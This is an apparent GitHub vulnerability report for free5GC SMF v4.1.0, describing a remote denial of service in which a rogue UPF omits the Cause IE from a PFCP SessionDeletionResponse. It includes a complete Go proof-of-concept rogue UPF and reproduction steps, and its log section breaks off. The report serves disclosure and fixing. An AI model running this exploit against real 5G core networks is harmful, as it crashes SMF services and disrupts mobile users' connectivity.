| 説明 | ## Bug Decription
A rogue/malicious UPF can trigger a remote Denial of Service in free5gc SMF by responding to a PFCP Session Deletion Request with a SessionDeletionResponse that omits the mandatory Cause IE.
When SMF processes this “Not Accepted” deletion response path, it dereferences rsp.Cause.CauseValue without a nil-check, causing a runtime panic and terminating the SMF process.
### Credit
Ziyu Lin, Xiaofeng Wang, Wei Dong (Nanyang Technological University)
### CVSS3.1
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
## To Reproduce
Steps to reproduce the behavior:
1) Start fake UPF mode:
code
```
// Vuln-PB2-11: SMF Nil Pointer Dereference in SessionDeletionResponse
//
// Vulnerability: When SMF receives a PFCPSessionDeletionResponse without
// Cause IE, the else branch at datapath.go:478 dereferences rsp.Cause.CauseValue
// causing a nil pointer panic.
//
// Attack: Rogue UPF responds to SessionDeletionRequest without Cause IE.
package main
import (
"encoding/binary"
"flag"
"log"
"net"
"time"
"github.com/wmnsk/go-pfcp/ie"
"github.com/wmnsk/go-pfcp/message"
)
var (
listenAddr = flag.String("listen", "x.x.x.x:8805", "Address to listen on")
nodeID = flag.String("node-id", "192.168.56.102", "UPF Node ID (IP address)")
verbose = flag.Bool("v", false, "Verbose output")
)
func main() {
flag.Parse()
log.Printf("[*] Vuln-PB2-11: Rogue UPF for SessionDeletionResponse nil Cause exploit")
log.Printf("[*] Listening on %s", *listenAddr)
addr, err := net.ResolveUDPAddr("udp", *listenAddr)
if err != nil {
log.Fatalf("Failed to resolve address: %v", err)
}
conn, err := net.ListenUDP("udp", addr)
if err != nil {
log.Fatalf("Failed to listen: %v", err)
}
defer conn.Close()
buf := make([]byte, 65535)
var localSEID uint64 = 0x1234567890ABCDEF
var remoteSEID uint64 = 0
var smfLocalSEID uint64 = 0
sessionEstablished := false
for {
n, remoteAddr, err := conn.ReadFromUDP(buf)
if err != nil {
log.Printf("Read error: %v", err)
continue
}
msg, err := message.Parse(buf[:n])
if err != nil {
log.Printf("Parse error: %v", err)
continue
}
if *verbose {
log.Printf("[<] Received %s from %s", msg.MessageTypeName(), remoteAddr)
}
var resp message.Message
switch msg.MessageType() {
case message.MsgTypeHeartbeatRequest:
resp = handleHeartbeat(msg)
case message.MsgTypeAssociationSetupRequest:
resp = handleAssociationSetup(msg)
case message.MsgTypeSessionEstablishmentRequest:
req := msg.(*message.SessionEstablishmentRequest)
// Extract CP F-SEID from request
if req.CPFSEID != nil {
if fseid, err := req.CPFSEID.FSEID(); err == nil {
remoteSEID = fseid.SEID
log.Printf("[*] Stored remote SEID: 0x%X", remoteSEID)
}
}
cpSeid := remoteSEID
if cpSeid == 0 {
if rawSeid, ok := extractCPFSEIDFromRaw(buf[:n]); ok {
cpSeid = rawSeid
log.Printf("[*] Extracted CP SEID from raw message: 0x%X", cpSeid)
}
}
if cpSeid == 0 && req.SEID() != 0 {
cpSeid = req.SEID()
log.Printf("[*] Falling back to SEID from header: 0x%X", cpSeid)
}
smfLocalSEID = cpSeid
resp = handleSessionEstablishment(msg, localSEID, cpSeid)
sessionEstablished = true
log.Printf("[*] Session established, waiting for DeletionRequest...")
case message.MsgTypeSessionModificationRequest:
log.Printf("[*] Received SessionModificationRequest - responding normally")
resp = handleSessionModificationNormal(msg, smfLocalSEID)
case message.MsgTypeSessionDeletionRequest:
log.Printf("[!] Received SessionDeletionRequest")
if sessionEstablished {
log.Printf("[!] Sending MALICIOUS SessionDeletionResponse WITHOUT Cause IE")
log.Printf("[!] This should trigger nil pointer dereference in SMF at datapath.go:478")
resp = createMaliciousSessionDeletionResponse(msg, smfLocalSEID)
} else {
log.Printf("[*] Session not established, sending normal response")
resp = handleSessionDeletionNormal(msg, smfLocalSEID)
}
default:
log.Printf("[?] Unhandled message type: %s", msg.MessageTypeName())
continue
}
if resp != nil {
respBytes := make([]byte, resp.MarshalLen())
if err := resp.MarshalTo(respBytes); err != nil {
log.Printf("Marshal error: %v", err)
continue
}
if _, err := conn.WriteToUDP(respBytes, remoteAddr); err != nil {
log.Printf("Write error: %v", err)
continue
}
if *verbose {
log.Printf("[>] Sent %s to %s", resp.MessageTypeName(), remoteAddr)
}
}
}
}
func handleHeartbeat(msg message.Message) message.Message {
req := msg.(*message.HeartbeatRequest)
return message.NewHeartbeatResponse(
req.SequenceNumber,
ie.NewRecoveryTimeStamp(time.Now()),
)
}
func handleAssociationSetup(msg message.Message) message.Message {
req := msg.(*message.AssociationSetupRequest)
log.Printf("[*] Association Setup - responding with success")
return message.NewAssociationSetupResponse(
req.SequenceNumber,
ie.NewNodeIDHeuristic(*nodeID),
ie.NewCause(ie.CauseRequestAccepted),
ie.NewRecoveryTimeStamp(time.Now()),
)
}
func handleSessionEstablishment(msg message.Message, localSEID uint64, cpSEID uint64) message.Message {
req := msg.(*message.SessionEstablishmentRequest)
log.Printf("[*] Session Establishment - responding with success (CP SEID: 0x%X, UP SEID: 0x%X)", cpSEID, localSEID)
return message.NewSessionEstablishmentResponse(
0, // MP
0, // FO
cpSEID,
req.SequenceNumber,
0, // Priority
ie.NewNodeIDHeuristic(*nodeID),
ie.NewCause(ie.CauseRequestAccepted),
ie.NewFSEID(localSEID, net.ParseIP(*nodeID).To4(), nil),
)
}
func handleSessionModificationNormal(msg message.Message, smfLocalSEID uint64) message.Message {
req := msg.(*message.SessionModificationRequest)
return message.NewSessionModificationResponse(
0, // MP
0, // FO
smfLocalSEID,
req.SequenceNumber,
0, // Priority
ie.NewCause(ie.CauseRequestAccepted),
)
}
// createMaliciousSessionDeletionResponse creates a response WITHOUT Cause IE
// This triggers nil pointer dereference in SMF at datapath.go:478
func createMaliciousSessionDeletionResponse(msg message.Message, smfLocalSEID uint64) message.Message {
req := msg.(*message.SessionDeletionRequest)
// Create response WITHOUT Cause IE - this is the exploit
// The SMF code at datapath.go:478 does:
// Err: fmt.Errorf("cause[%d] if not request accepted", rsp.Cause.CauseValue)
// When Cause is nil, this causes panic
log.Printf("[!] EXPLOIT: Creating SessionDeletionResponse without Cause IE")
log.Printf("[!] Expected crash at: smf/internal/sbi/processor/datapath.go:478")
log.Printf("[!] Vulnerable code: fmt.Errorf(\"cause[%%d] if not request accepted\", rsp.Cause.CauseValue)")
// Use NewSessionDeletionResponse but pass NO IEs (no Cause)
// This creates a valid PFCP message with Header but without Cause IE
resp := message.NewSessionDeletionResponse(
0, // MP
0, // FO
smfLocalSEID, // SEID expected by SMF (local SEID)
req.SequenceNumber, // Sequence Number
0, // Priority
// NO IEs passed - intentionally omitting Cause IE
)
return resp
}
func handleSessionDeletionNormal(msg message.Message, smfLocalSEID uint64) message.Message {
req := msg.(*message.SessionDeletionRequest)
return message.NewSessionDeletionResponse(
0, // MP
0, // FO
smfLocalSEID,
req.SequenceNumber,
0, // Priority
ie.NewCause(ie.CauseRequestAccepted),
)
}
func extractCPFSEIDFromRaw(b []byte) (uint64, bool) {
if len(b) < 8 {
return 0, false
}
offset := 12
if b[0]&0x01 != 0 {
offset = 16
}
for offset+4 <= len(b) {
typ := binary.BigEndian.Uint16(b[offset : offset+2])
l := int(binary.BigEndian.Uint16(b[offset+2 : offset+4]))
offset += 4
if offset+l > len(b) {
return 0, false
}
if typ == 57 { // F-SEID (CPFSEID)
if l < 9 {
return 0, false
}
return binary.BigEndian.Uint64(b[offset+1 : offset+9]), true
}
offset += l
}
return 0, false
}
```
run `go run ./main.go -listen 10.100.200.2:8805 -node-id 10.100.200.2 -v`
2) Attach UE and establish a PDU session using UERANSIM.
```
sudo /home/ubuntu/UERANSIM/cmake-build-release/nr-gnb -c /home/ubuntu/UERANSIM/config/gnbcfg-free5gc.yaml
sudo /home/ubuntu/UERANSIM/cmake-build-release/nr-ue -c /home/ubuntu/free5gc-compose/config/uecfg.yaml
```
3) realease the session
```
./cmake-build-release/nr-cli imsi-208930000000003
ps-release 1
```
4) The rogue UPF waits for the SMF to send a PFCP SessionDeletionRequest; once received, it replies with a malformed PFCP SessionDeletionResponse that omits the mandatory Cause IE, which triggers a nil pointer dereference in the SMF during response processing.
## Expected Behavior
SMF should validate that SessionDeletionResponse contains the mandatory Cause IE and, if it is missing, handle the malformed response gracefully (e.g., log an error, fail the PFCP deletion, and keep the SMF running).
## Screenshots
<img width="946" height="309" alt="Image" src="https://github.com/user-attachments/assets/bc4e7fc2-af71-42b1-86fa-403118a04c7f" />
## Environment
- free5GC Version: v4.1.0
- OS: Ubuntu 22.04 Server
- Kernel version: [e.g. 5.15.0-0-generic]
- go version: go version go1.24.9 linux/amd64
## Trace Files
### Configuration Files
Provide the configuration files.
If you are unsure of what to do, please zip free5gc's `config` folder and upload it here.
### PCAP File
Dump the relevant packets and provide the PCAP file.
If you are unsure of what to do, use the following command before reproducing the bug: `sudo tcpdump -i any -w free5gc.pcap`. Then, please upload the `free5gc.pcap` file here.
### Log File
```
2026-0 |
|---|